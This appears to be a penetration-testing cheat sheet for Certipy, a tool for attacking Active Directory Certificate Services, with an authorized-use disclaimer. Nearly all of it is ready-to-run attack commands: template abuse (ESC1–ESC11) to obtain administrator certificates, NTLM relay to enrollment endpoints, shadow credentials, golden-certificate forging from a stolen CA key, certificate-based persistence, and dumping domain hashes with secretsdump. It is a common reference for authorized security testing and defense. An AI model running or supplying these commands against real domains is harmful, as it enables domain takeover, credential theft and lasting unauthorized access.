← All cheat sheets

CERTIPY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Certipy is a Python tool for Active Directory Certificate Services (AD CS) enumeration and abuse.
Essential for attacking PKI misconfigurations in AD environments.

INSTALLATION#

pip3 install certipy-ad

# Or from source
git clone https://github.com/ly4k/Certipy
cd Certipy
pip install .

BASIC USAGE#

certipy <command> -u user -p 'password' -dc-ip DC_IP

# With hash
certipy <command> -u user -hashes :NTHASH -dc-ip DC_IP

# With Kerberos
export KRB5CCNAME=ticket.ccache
certipy <command> -u user -k -dc-ip DC_IP

ENUMERATION#


    

FIND VULNERABILITIES#

# Enumerate CA and templates
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP

# Output to file
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP -output results

# Find vulnerable templates
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP -vulnerable

# Stdout output
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP -stdout

OUTPUT FILES#

# Creates:
# - results_Certipy.json (detailed)
# - results_Certipy.txt (readable)
# - results_Certipy.html (browsable)

ESC ATTACKS#


    

ESC1 - MISCONFIGURED TEMPLATE#

# Template allows:
# - Low-priv enrollment
# - Manager approval disabled
# - No authorized signatures
# - Client Auth EKU
# - ENROLLEE_SUPPLIES_SUBJECT

# Request cert as another user
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain.local

ESC2 - ANY PURPOSE EKU#

# Template has Any Purpose EKU or no EKU
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'AnyPurposeTemplate'

ESC3 - ENROLLMENT AGENT#

# Template allows enrollment agent
# Two-step attack:

# Step 1: Get enrollment agent cert
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'EnrollmentAgent'

# Step 2: Use agent cert to request on behalf of admin
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'User' -on-behalf-of 'DOMAIN\Administrator' -pfx agent.pfx

ESC4 - VULNERABLE TEMPLATE ACL#

# User can modify template
# Modify to enable ESC1

# Backup original
certipy template -u user@domain.local -p 'password' -dc-ip DC_IP -template 'VulnTemplate' -save-old

# Modify template
certipy template -u user@domain.local -p 'password' -dc-ip DC_IP -template 'VulnTemplate' -configuration

# Request cert
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain.local

# Restore template
certipy template -u user@domain.local -p 'password' -dc-ip DC_IP -template 'VulnTemplate' -configuration oldconfig.json

ESC5 - VULNERABLE PKI OBJECT ACL#

# Control over CA or other PKI objects
# Check ACLs on:
# - CA computer
# - RPC/DCOM server
# - LDAP containers

ESC6 - ARBITRARY SAN#

# CA configured with EDITF_ATTRIBUTESUBJECTALTNAME2
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'User' -upn administrator@domain.local

ESC7 - VULNERABLE CA ACL#

# User has ManageCA or ManageCertificates right

# Add officer permission (ManageCA)
certipy ca -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -add-officer user

# Enable SubjectAltRequire (ManageCA)
certipy ca -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -enable-template 'SubCA'

# Issue pending request (ManageCertificates)
certipy ca -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -issue-request REQUEST_ID

ESC8 - NTLM RELAY TO HTTP ENDPOINT#

# Relay NTLM to web enrollment

# Start relay
certipy relay -target 'http://CA/certsrv/certfnsh.asp'

# Coerce authentication (PetitPotam, etc)
# Relay captures certificate

ESC9 - NO SECURITY EXTENSION#

# CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag
certipy shadow auto -u user@domain.local -p 'password' -dc-ip DC_IP -account target

ESC10 - WEAK CERTIFICATE MAPPINGS#

# StrongCertificateBindingEnforcement = 0
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'User' -upn administrator@domain.local

ESC11 - RELAY TO RPC#

# IF_ENFORCEENCRYPTICERTREQUEST not set
certipy relay -target 'rpc://CA' -ca 'CA-NAME'

CERTIFICATE OPERATIONS#


    

REQUEST CERTIFICATE#

# Standard request
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'User'

# With UPN
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain.local

# With DNS
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'VulnTemplate' -dns dc.domain.local

AUTHENTICATION#

# Authenticate with certificate
certipy auth -pfx admin.pfx -dc-ip DC_IP

# Get TGT
certipy auth -pfx admin.pfx -dc-ip DC_IP -username administrator -domain domain.local

# Output includes:
# - NT hash
# - Kerberos ticket (ccache)

SHADOW CREDENTIALS#

# Add shadow credentials to target
certipy shadow auto -u user@domain.local -p 'password' -dc-ip DC_IP -account targetuser

# Specify certificate
certipy shadow add -u user@domain.local -p 'password' -dc-ip DC_IP -account targetuser -cert cert.pem -key key.pem

# List shadow credentials
certipy shadow list -u user@domain.local -p 'password' -dc-ip DC_IP -account targetuser

# Remove shadow credentials
certipy shadow remove -u user@domain.local -p 'password' -dc-ip DC_IP -account targetuser -device-id DEVICE_ID

CERTIFICATE FORMATS#

# Convert PFX to PEM
certipy cert -pfx cert.pfx -export

# Convert to different format
certipy cert -pfx cert.pfx -export -out cert.pem

# Extract key and cert
certipy cert -pfx cert.pfx -nocert -export  # Key only
certipy cert -pfx cert.pfx -nokey -export   # Cert only

# Password protected PFX
certipy cert -pfx cert.pfx -password 'certpassword' -export

GOLDEN CERTIFICATE#

# Requires CA private key
# Forge certificate for any user

# Backup CA certificate and key first
certipy ca -u admin@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -backup

# Forge certificate
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'

# Authenticate
certipy auth -pfx forged.pfx -dc-ip DC_IP

ACCOUNT PERSISTENCE#

# Request certificate for current user
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'User'

# Certificate valid for ~1 year (template dependent)
# Use for authentication even after password change

# Authenticate later
certipy auth -pfx user.pfx -dc-ip DC_IP

CA OPERATIONS#

# List CA
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP -stdout | grep "CA Name"

# CA info
certipy ca -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME'

# Backup CA
certipy ca -u admin@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -backup

# Enable template
certipy ca -u admin@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -enable-template 'TemplateName'

COMMON WORKFLOW#

# 1. Enumerate for vulnerabilities
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP -vulnerable -stdout

# 2. Exploit (example ESC1)
certipy req -u user@domain.local -p 'password' -dc-ip DC_IP -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain.local

# 3. Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# 4. Use credentials
# NT hash or ccache from step 3
secretsdump.py domain.local/administrator@DC_IP -hashes :NTHASH

QUICK REFERENCE#

certipy find -u user -p pass -dc-ip DC -vulnerable     # Find vulns
certipy req -u user -p pass -ca CA -template T -upn X  # Request cert
certipy auth -pfx cert.pfx -dc-ip DC                   # Authenticate
certipy shadow auto -u user -p pass -account target    # Shadow creds
certipy relay -target 'http://CA/certsrv'              # Relay attack
certipy ca -u user -p pass -ca CA -backup              # Backup CA
certipy forge -ca-pfx ca.pfx -upn admin@domain         # Golden cert